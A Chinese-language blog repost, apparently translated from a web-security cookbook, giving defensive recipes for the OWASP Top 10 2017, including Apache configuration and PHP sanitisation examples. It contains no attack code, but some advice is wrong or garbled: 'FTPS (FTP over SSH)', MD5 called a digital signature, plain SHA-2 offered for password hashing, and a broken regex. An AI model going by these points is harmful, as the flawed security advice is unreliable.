    • 使用大小写字母

    • 使用至少一个数字字符(0-9)

    • 使用至少一个特殊字符(空格、!、&、#、%、等等)

    • 优选长且易记的短语,而不是短小、复杂和不相关的字符组合。例如,This Is an Acceptable Password!aJk5&$12! 要强得多。

  4. 禁止将用户名、站点名称、公司名称或它们的变体(大小写变化、l33t、它们的片段)用作密码。

  5. 禁止使用www.teamsid.com/worst-passwords-2017/中的最常见密码列表中的密码。

  6. 永远不要在错误信息中指出用户是否存在,或者信息是否符合正确的格式。对于错误的登录尝试、不存在的用户、用户名或密码不符合模式,以及所有其他可能的登录错误,使用相同的通用消息。这样的消息可以是:

    • 登录信息不正确

    • 无效的用户名或密码

    • 访问被拒绝

  7. 密码不能以明文格式存储在数据库中;应使用强哈希算法,如 SHA-2、scrypt 或 bcrypt,这些算法特别设计用于抵御 GPU 破解。

  8. 在将用户输入与密码进行比较时,应先对用户输入进行哈希处理,然后比较两个哈希值。绝不应解密密码与明文用户输入进行比较。

  9. 避免使用基本的 HTML 身份验证。

  10. 如果可能,使用多因素认证(MFA),即使用多个认证因素进行登录:

    • 你知道的东西(账户详情或密码)

    • 你拥有的东西(令牌或手机)

    • 你是的东西(生物识别)

  11. 在可能的情况下,实施证书、预共享密钥或其他无密码认证协议(如 OAuth2、OpenID、SAML 或 FIDO)。

  12. 在会话管理方面,建议使用语言内建的会话管理系统,如 Java、ASP.NET 和 PHP。它们并不完美,但肯定提供了设计良好且经过广泛测试的机制,并且比任何由开发团队为满足发布日期要求而自制的版本更容易实现。

  13. 登录和登录后的页面必须始终使用 HTTPS——显然,应该避免使用 SSL,只接受 TLS v1.1 或更高版本的连接。

  14. 为确保使用 HTTPS,可以使用 HTTP 严格传输安全(HSTS)。它是一种由 Web 应用程序通过使用 Strict-Transport-Security 头部指定的自愿启用的安全功能;当 URL 使用 http:// 时,它会将你重定向到安全选项,并防止覆盖 无效证书 消息(例如在使用 Burp Suite 时显示的那种),www.owasp.org/index.php/HTTP_Strict_Transport_Security

  15. 始终设置 HTTPOnly 和 Secure cookies 属性。

  16. 设置合理但较短的会话过期时间——既不能过长,以至于攻击者能够在合法用户离开后重新使用会话,也不能过短,以至于用户没有机会执行应用程序预期的任务。15 到 30 分钟之间是一个合理的过期时间。

它是如何工作的…

Web 应用程序中的身份验证机制通常简化为用户名/密码登录页面。虽然这不是最安全的选择,但对于用户和开发人员来说是最简单的;在处理密码时,其最重要的方面是密码的强度。

正如我们在本书中看到的,密码的强度取决于其破解的难度,无论是通过暴力破解、字典攻击还是猜测。这个小技巧的第一步是通过设定最小长度来增加密码的暴力破解难度,通过使用混合字符集来增加猜测难度,避免使用更直观的选择(如用户名、常见密码和公司名称),以及通过在存储密码时使用强加密或哈希算法来增强密码被泄露后的破解难度。

关于会话管理,过期时间、会话 ID 的唯一性、强度(已在语言内建机制中实现)以及 cookie 设置中的安全性是关键考虑因素。

在讨论身份验证安全时,可能最重要的一点是,如果安全配置、控制或强密码可以通过中间人攻击被拦截和读取,那么它们都不够安全。因此,使用正确配置的加密通信通道(如 TLS)对于保持用户的身份验证数据安全至关重要。

另见

OWASP 在身份验证和会话管理方面有几个非常好的页面,以下是相关列表。我强烈推荐在构建和配置 Web 应用程序时阅读并考虑这些页面:

A3 – 保护敏感数据

当应用程序存储或使用某种敏感信息(如信用卡号码、社会保障号码、健康记录、密码等)时,应该采取特别措施来保护它,因为如果这些信息被泄露,可能会给负责保护这些信息的组织带来严重的声誉、经济甚至法律损害。

OWASP 十大漏洞中的第六位是敏感数据泄露,它发生在应特别保护的数据以明文形式暴露或使用弱安全措施保护时。

在本教程中,我们将涵盖处理、传输和存储此类数据时的一些最佳实践。

如何做到……

  1. 如果您使用的敏感数据在使用后可以删除,请务必删除。每次向用户请求信用卡信息总比在数据泄露时被盗要好得多。

  2. 处理支付时,始终优先使用支付网关,而不是将此类数据存储在您的服务器中。请查看ecommerce-platforms.com/ecommerce-selling-advice/choose-payment-gateway-ecommerce-store以获取顶级服务提供商的评测。

  3. 如果我们需要存储敏感信息,必须首先采取保护措施。

    给它的最佳方法是使用强加密算法进行加密,并妥善存储相应的强密钥。一些推荐的算法包括 Twofish、AES 和 RSA。

  4. 密码应以数据库哈希的形式存储,使用单向哈希函数,如 bcrypt、scrypt 或 SHA-2。

  5. 确保所有敏感文档仅供授权用户访问;不要将它们存储在 Web 服务器的文档根目录中,而是存储在外部目录,并通过编程访问它们。如果由于某些原因必须将敏感文档存储在服务器的文档根目录中,请使用.htaccess文件防止直接访问:

Order deny,allow 
Deny from all 
  1. 禁用缓存包含敏感数据的页面。例如,在 Apache 中,我们可以通过在httpd.conf中使用以下设置来禁用 PDF 和 PNG 文件的缓存:
<FilesMatch ".(pdf|png)> 
FileETag None 
Header unset ETag 
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate" 
Header set Pragma "no-cache" 
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT" 
</FilesMatch> 
  1. 始终使用安全的通信渠道传输敏感信息,具体来说,如果允许上传文件,应使用 HTTPS 与 TLS 或 FTPS(FTP over SSH)。

它是如何工作的……

在保护敏感数据时,我们需要最大限度地减少数据泄露或交易的风险;因此,正确地加密存储的信息并保护加密密钥是首要任务。如果没有不存储此类数据的可能性,这是理想选择。

密码在存储到数据库之前应使用单向哈希算法进行哈希处理。这样,如果密码被盗,攻击者将无法立即使用它们;如果密码足够强大,并且使用强哈希算法进行加密,它们也无法在现实时间内被破解。

如果我们将敏感文档或敏感数据存储在服务器的文档根目录中(例如在 Apache 中是/var/www/html/),我们就暴露了这些信息,可以通过其 URL 下载。因此,最好将它们存储在其他位置,并在需要时通过特别的服务器端代码检索,并进行预先授权检查。

此外,像archive.org/、WayBackMachine 或 Google 缓存这样的页面,可能会在缓存文件包含敏感信息且在应用程序的早期版本中未得到适当保护时,造成安全问题。因此,重要的是不要允许缓存这些类型的文档。

A4 – 安全使用 XML 外部实体

XML 外部实体XXE)攻击在过去几年里逐渐流行,现已在 OWASP 2017 年十大漏洞榜单中位列第四。与 XML 实体相关的漏洞主要被攻击者用来从目标系统中获取信息并远程执行代码或系统命令(XXE 注入),或导致服务中断(XXE 扩展)。

在本方案中,我们将提供一些建议,指导在构建 Web 应用程序时,如何避免在处理 XML 外部实体时包含漏洞。

如何操作...

  1. 如果可能,避免使用 XML,优先考虑使用更简单的格式,例如 JSON。

  2. 如果 XML 的使用是强制性的,请在应用程序使用的所有解析器中禁用外部实体的使用。

  3. 如果某个功能需要使用外部实体加载文件或访问远程资源,考虑使用其他技术重新实现该功能。

  4. 始终在客户端和服务器端验证用户和第三方提供的数据。对于 XML 格式的数据,使用允许的单词/元素和字符的白名单是一个不错的选择。

  5. 保持 XML 解释器(通常集成在开发工具中)得到适当的修补和更新,以防止和修复常见的漏洞。

工作原理...

尽管 XML 在开发者执行某些任务时可能是一个非常有用的工具,但如今它不是 Web 应用程序中信息交换的最佳格式。这是因为 XML 有许多特性,其中包括外部实体以及其可扩展的特性,这些特性使得它容易包含可能包括系统文件和命令的对象或元素。

XML 解析器允许禁用外部实体以及其他可能导致安全问题的特性,如文档类型定义(DTD)。请查阅所选解析引擎的文档,了解如何执行此操作。

作为注入攻击的一种,XML 相关的攻击可以通过适当的输入验证在很大程度上得到预防,并且由于开发人员已知预期的结构,可以实施一种白名单验证方案,只允许预期的元素并拒绝所有其他内容。

在本食谱的最后,XML 解析器通常会集成到编程框架和语言中。确保所使用的解析器没有任何已公布的漏洞,否则可能会危及应用程序的安全性。

A5 – 保护访问控制

在 OWASP Top 10 2013 中,A7 漏洞是 缺失的功能级别访问控制。在 2017 年的新版本中,该漏洞被整合到更广泛的 访问控制失效 类别中,并排在第五位。这个新类别涵盖了未经认证或未授权的用户可以通过直接浏览访问受限信息,或低权限用户能够提升权限,甚至是 CORS 策略的配置不当等漏洞。

在本食谱中,我们将了解一些改进应用程序访问控制的建议。

如何做到这一点...

  1. 仅将用户/客户端执行其职责所必需的权限分配给他们,并阻止访问其他一切(最小权限原则)。

  2. 确保在每一步中都正确检查并强制执行工作流的权限。

  3. 默认拒绝所有访问,然后在明确验证授权后允许用户执行任务/访问信息。

  4. 用户、角色和授权应该存储在灵活的介质中,例如数据库或配置文件,以便它们可以被添加、删除或更新。不要将它们硬编码。

  5. 再次提醒,安全通过模糊化不是一种好的安全策略。

它是如何工作的...

开发人员常常只在工作流的开始时检查授权,并假设后续任务会自动获得用户的授权。攻击者可能会尝试调用工作流中的一个中间步骤的函数、URL 或资源,并且由于缺乏控制,成功地绕过了授权检查。

关于权限,默认拒绝所有访问是最佳实践。如果我们不确定某些用户是否被允许执行某个功能,那么他们就不应该被允许。将权限表转换为授权表。如果某个用户在某个功能上没有明确的授权,那么就拒绝任何访问。

在为用户分配权限和/或设计用户角色时,始终遵循最小权限原则(en.wikipedia.org/wiki/Principle_of_least_privilege)。

在为应用程序的功能构建或实现访问控制机制时,将所有授权存储在数据库或配置文件中(数据库是更好的选择)。

如果用户角色和权限是硬编码的,它们会变得更加难以维护和修改。

或更新。

A6 – 基本安全配置指南

系统的默认配置,包括操作系统和 Web 服务器,通常是为了展示和突出其基本或最相关的功能,而非为了保证安全性。

或者保护它们免受攻击。

一些可能会危及安全的常见默认配置包括数据库、Web 服务器或 CMS 安装时创建的默认管理员账户,以及默认的管理页面和包含堆栈跟踪的错误信息,等等。

在本篇中,我们将讨论 OWASP 前十大最严重漏洞中的第五大漏洞:

安全配置错误。

如何操作...

  1. 如果可能,删除所有管理应用程序,例如 Joomla 的管理员、WordPress 的管理员、phpMyAdmin 或 Tomcat Manager。如果不可能,限制它们仅能从本地网络访问;例如,要拒绝外部网络访问 Apache 服务器中的 phpMyAdmin,可以修改httpd.conf

    文件(或相应的站点配置文件):

<Directory /var/www/phpmyadmin> 

  Order Deny,Allow 
  Deny from all 
  Allow from 127.0.0.1 ::1 
  Allow from localhost 
  Allow from 192.168 
  Satisfy Any 

</Directory> 

这将首先拒绝来自所有地址访问phpmyadmin目录,其次,它将允许来自本地主机和以192.168开头的地址的请求,这些是本地网络地址。

  1. 更改所有管理员账户的密码,包括所有 CMS、应用程序、数据库、服务器和框架,使用其他足够强大的密码。举例如下:

    此类应用程序如下:

    • Cpanel

    • Joomla

    • WordPress

    • PhpMyAdmin

    • Tomcat 管理器

  2. 禁用所有不必要或未使用的服务器和应用功能。每天或每周,CMS 的可选模块和插件都会出现新的漏洞。如果应用程序不需要它们,就没有必要将其保持启用状态。

  3. 始终保持最新的安全补丁和更新。在生产环境中,可能需要设置测试环境,以防止由于更新不兼容的版本而导致网站无法正常工作。

  4. 设置自定义错误页面,不暴露跟踪信息、软件版本、编程组件名称或任何其他调试信息。如果开发人员需要记录错误,或者需要一个标识符来获取技术支持,可以创建一个带有简单 ID 和错误描述的索引,只向用户显示 ID。当错误被报告给支持人员时,他们可以查阅索引,了解错误类型。

  5. 采用最小特权原则。每个级别的每个用户(操作系统、数据库或应用程序)应该只能访问正常操作所严格要求的信息,绝不能更多。

  6. 考虑到以上几点,建立一个安全配置基线,并将其应用于每一个新的实现、更新或发布,以及当前系统。

  7. 强制进行定期的安全测试或审计,以帮助检测配置错误或缺失的补丁。

它是如何工作的...

谈到安全性和配置问题时,我们可以说细节决定成败。Web 服务器、数据库服务器、CMS 或应用程序的配置应在完全可用、有效且对用户和所有者都安全之间找到平衡点。

网络应用程序中最常见的配置错误之一是,它包含某种类型的 web 管理站点,并且该站点可以被全网访问;这看起来似乎不是一个大问题,但如果我们考虑到管理员登录页面对黑客的吸引力远大于任何“联系我们”表单,因为前者提供了更高的权限级别,并且几乎每种 CMS、数据库或站点管理工具都有已知的、常见的、默认的密码列表。那么,我们的首要建议是不要将这些管理站点暴露给外界,并尽可能将其移除。

此外,在发布应用程序到公司内部网络时,强密码的使用以及更改默认安装的密码(即使它们很强)应当是强制性的,而在发布到互联网上时,应当更加严格地执行此项措施。如今,当我们将服务器暴露给外界时,它接收到的第一波流量通常是端口扫描、登录页面请求和登录尝试,甚至在第一个用户意识到应用程序已经激活之前。

使用自定义错误页面有助于增强安全性,因为 web 服务器和 web 应用程序的默认错误信息暴露了过多的信息(从攻击者的角度来看),例如错误内容、使用的编程语言、堆栈跟踪、使用的数据库、操作系统等。这些信息不应被暴露,因为它有助于攻击者理解应用程序的构建方式,并提供所用软件的名称和版本。凭借这些信息,攻击者可以搜索已知的漏洞,制定更高效的攻击策略。

一旦我们有了配置正确的服务器及其常驻应用程序和所有服务,我们可以制定安全基线,并将其应用到所有需要配置或更新的新服务器以及目前在生产环境中的服务器,前提是有适当的规划和变更管理流程。

该配置基线需要持续测试,以便不断改进并保护其免受新发现的漏洞威胁。

A7 – 防止跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting,简称 XSS)如前所述,发生在显示给用户的数据没有正确编码,浏览器将其解释为脚本代码并执行时。这也涉及输入验证因素,因为恶意代码通常是通过输入变量插入的。

在本篇教程中,我们将讨论开发者如何进行输入验证和输出编码,以防止应用程序中的 XSS 漏洞。

如何实现……

  1. 应用程序容易受到 XSS 攻击的第一个迹象是,页面会直接反映用户输入的内容。所以尽量避免使用用户提供的信息来构建输出文本。

  2. 当需要将用户提供的数据放入输出页面时,务必验证这些数据。

    防止任何类型代码插入。我们已经在 A1 - 防止注入攻击 部分看到了如何操作。

    A1 - 防止注入攻击 部分。

  3. 如果出于某种原因,允许用户输入特殊字符或代码片段,在插入输出之前,需要进行净化或正确编码。

  4. 对于数据净化,PHP 中可以使用filter_var;例如,如果你想确保以下字符串只包含有效的电子邮件字符:

<?php 
$email = "john(.doe)@exa//mple.com"; 
$email = filter_var($email, FILTER_SANITIZE_EMAIL); 
echo $email; 
?> 

对于编码,可以在 PHP 中使用 htmlspecialchars

<?php 
$str = "The JavaScript HTML tags are <script> for opening, and </script>  for closing."; 
echo htmlspecialchars($str); 
?> 
  1. 在 .NET 中,对于 4.5 及更高版本的实现,System.Web.Security.AntiXss 命名空间提供了必要的工具。对于 .NET Framework 4 及以前的版本,

    我们可以使用 Web Protection 库,地址是 archive.codeplex.com/?p=wpl

  2. 此外,为了防止存储型 XSS,在存储和从数据库检索数据之前,必须对每一条信息进行编码或净化。

  3. 不要忽视页面的头部、标题、CSS 和脚本部分,因为它们也容易被利用。

它是如何工作的...

除了适当的输入验证和不使用用户输入作为输出信息外,数据净化和编码是防止 XSS 攻击的关键方面。

数据净化意味着从字符串中移除不允许的字符;当输入字符串中不应出现特殊字符时,这非常有用。

编码将特殊字符转换为其 HTML 代码表示,例如,将 "&" 转换为 "&" 或将 "<" 转换为 "<"。某些应用允许在输入字符串中使用特殊字符;对于这些应用,净化并不是一个选择,因此在将其插入页面或存储到数据库之前,应对输入进行编码。

另见

OWASP 提供了一个 XSS 防护备忘单,值得阅读,网址是 www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

A8 – 实现对象序列化和反序列化

序列化是将数据结构或对象转化为可以传输的格式的过程,在我们的例子中,是通过 HTTP 请求或响应传输。反序列化是相反的过程。

当一个对象被序列化,例如,转换为 JSON 字符串,并从服务器传送到客户端或反向传输时,攻击者可以查看并理解对象的内容,并进行修改,以便当另一端接收到序列化对象并反序列化时,将其还原为对象格式时,它会将更改后的内容解释为可执行代码并执行。这是反序列化攻击中最常见的场景。

在本配方中,我们将看到开发人员在实现序列化/反序列化机制时应采取的措施,以提高其应用程序的安全性。

如何做...

  1. 如果可能,应该尽量避免使用序列化/反序列化。

  2. 实施完整性检查,如数字签名(MD5,SHA-2),对客户端和服务器端接收的所有序列化对象进行检查,以便在任何对象被篡改时,应用程序在处理或反序列化之前拒绝该对象。

  3. 以低权限用户运行反序列化代码。

  4. 记录并监控序列化和反序列化过程及其所有错误和警告。将监控系统作为安全监控过程的输入,以便生成适当的警报。

它是如何工作的...

与许多使用复杂技术的情况一样,如果没有正确配置和实施,它可能会导致应用程序安全态势的削弱。评估这种技术是否严格必要或是最佳选择,如果不是,请不要使用它。

通过对传出的对象进行哈希或生成校验和,并在接收对象时检查该值,应用程序将能够识别出用户或中间某个实体是否修改了对象,从而丢弃该对象以防止安全风险。

遵循深度安全的哲学,如果序列化攻击成功,并且攻击者在我们的服务器上获得了命令执行权限,则执行恶意命令的用户应具有最低权限级别,以避免造成额外的损害。

在发生安全事件时,应用程序必须保存序列化和反序列化过程的日志,以便调查该事件的专业人员可以利用这些日志找出使用的攻击路径,并进一步提出防止类似事件再次发生的措施。

A9 – 在第三方组件中寻找已知漏洞的位置

当今的 Web 应用程序不再是单个开发者或单个开发团队的工作;如今,开发一个功能完善、用户友好、外观吸引人的 Web 应用程序意味着使用第三方组件,如编程库、外部服务的 API(如 Facebook、Google 和 Twitter)、开发框架以及许多其他在编程、测试和修复方面相关性较小或没有相关性的组件。

有时,这些第三方组件容易受到攻击,并将这些漏洞传递给我们的应用程序。许多实现了易受攻击组件的应用程序需要较长时间才能进行修复,成为整个组织安全的薄弱环节。这就是为什么 OWASP 将使用已知漏洞的第三方组件列为 Web 应用程序安全的第九大关键威胁。

在本节中,我们将探讨在哪里搜索,以确定我们使用的某个组件是否存在已知漏洞,并查看一些此类漏洞组件的例子。

如何做到...

  1. 第一个建议是,总是优先选择已知的软件,这些软件得到支持并且被广泛使用。

  2. 保持更新,了解第三方组件发布的安全更新和补丁。

  3. 寻找某个特定组件漏洞的一个好地方是厂商的网站;它们通常有一个发行说明部分,在这里发布每个版本修复了哪些漏洞或缺陷。在这里,我们可以查找我们正在使用的版本(或更新版本),并检查是否有已知问题被修复或仍未修复。

  4. 此外,厂商通常会有安全咨询网站,例如微软(technet.microsoft.com/library/security/),Joomla (developer.joomla.org/security-centre.html),以及 Oracle (www.oracle.com/technetwork/topics/security/alerts-086861.html)。我们可以利用这些网站,随时更新我们在应用程序中使用的软件的安全信息。

  5. 还有一些不依赖于厂商的站点,专门用于告知我们有关漏洞和安全问题的信息。一个非常好的站点是 CVE Details (www.cvedetails.com/),它汇集了来自不同来源的信息。在这里,我们可以搜索几乎任何厂商或产品,列出其所有已知的漏洞。

    (或者至少是那些有 CV 号的)并按年份、版本进行结果排序,

    和 CVSS 分数。

  6. 此外,黑客发布其利用代码和发现的地方也是一个不错的选择。

    获取我们使用的软件中的漏洞信息。最流行的网站包括 Exploit DB (www.exploit-db.com/),完整披露邮件列表(seclists.org/fulldisclosure/),以及 Packet Storm 的文件部分(packetstormsecurity.com/files/)。

  7. 一旦我们在某个软件组件中发现漏洞,我们必须评估它是否对我们的应用程序至关重要,或者是否可以删除。如果不能删除,我们需要尽早计划修补过程。如果没有可用的修补程序或替代方案,而且漏洞的影响较大,我们必须开始寻找该组件的替代品。

它是如何工作的...

在考虑在我们的应用程序中使用第三方软件组件之前,我们必须查找其安全信息,并检查是否有比我们打算使用的版本更稳定或更安全的版本或替代方案。

一旦我们选择并将其集成到应用程序中,我们需要保持其更新。有时,这可能涉及版本变化和不兼容的情况,但如果我们想保持安全,这就是我们必须支付的代价,或者可能涉及实施Web 应用程序防火墙WAF)或入侵防御系统IPS)来防止攻击,如果我们无法更新或修补高影响漏洞的话。

除了在执行渗透测试时有用外,漏洞下载和漏洞披露网站还可以被系统管理员利用,了解预期会遭遇哪些攻击,攻击方式以及如何保护应用程序免受这些攻击。

A10 – 网页应用程序安全的日志记录与监控

记录应用程序活动日志用于分析或记录错误日志用于调试与为了提高信息安全和用户隐私的目标完全不同,因为事件响应团队应该能够重建攻击者突破应用程序安全的路径,而安全监控设备应该能够解读和处理记录的信息,以便在接近实时的情况下生成潜在安全问题的警报;所有这些都需要在保护用户隐私的同时进行,不记录任何敏感或可识别个人身份的信息。

在这篇教程中,我们将涵盖设计和实施网页应用程序日志机制及其监控时需要考虑的关键方面。

如何做到这一点...

  1. 确保不会记录任何用户或公司敏感或可识别个人身份的信息(如真实姓名、地址、密码、信用卡信息、电话号码等)。

  2. 除了应用程序特定的操作和事件外,还需记录所有与用户和账户管理相关的操作,例如用户创建和删除、密码更改、权限级别更改、登录尝试和登出。

  3. 确保所有日志都包含足够的事件上下文,包括事件的日期和时间(精确到毫秒)、生成事件的用户、与事件相关的系统环境条件,以及涉及的实体,如数据库记录、模块、其他用户和使用的客户端。

  4. 实现一个集中式系统,用于收集、处理和分析日志,并根据分析结果生成安全警报(安全信息与事件管理SIEM))。

  5. 配备专门的团队来监控和应对安全事件。

  6. 实施事件响应和事件恢复计划,以便在检测到攻击或发生安全漏洞时,能够遵循标准化的流程,尽快恢复。

它是如何工作的...

大多数时候,在组织中,日志的保护程度不如数据库,且当发生泄露时,这些日志可能包含大量敏感信息,这些信息可能允许攻击者访问网络中的其他系统,因为日志中包含了用户名和密码,或者可能收集电子邮件并用于执行钓鱼攻击,最糟糕的是,这些日志可能包含应用程序用户的姓名、地址和电话号码。因此,开发人员和安全架构师必须确保所有类似的信息都不应出现在任何日志和监控机制中。

通过记录适当的一组事件,应用程序可以生成足够的信息,使得监控团队能够识别异常行为,并在攻击发生的瞬间将其阻止。为了实现这一点,日志中还必须包含足够的上下文信息,更重要的是,必须有一个专门的团队实时监控网络活动、事件日志、安全设备(如 IDS 和防火墙)以及软件(如杀毒软件和数据泄漏防护代理)。此外,这样的团队应该有一套完善的安全事件检测、响应和恢复的政策和程序。

posted @ 2025-06-19 16:04  绝不原创的飞龙  阅读(102)  评论(2)    收藏  举报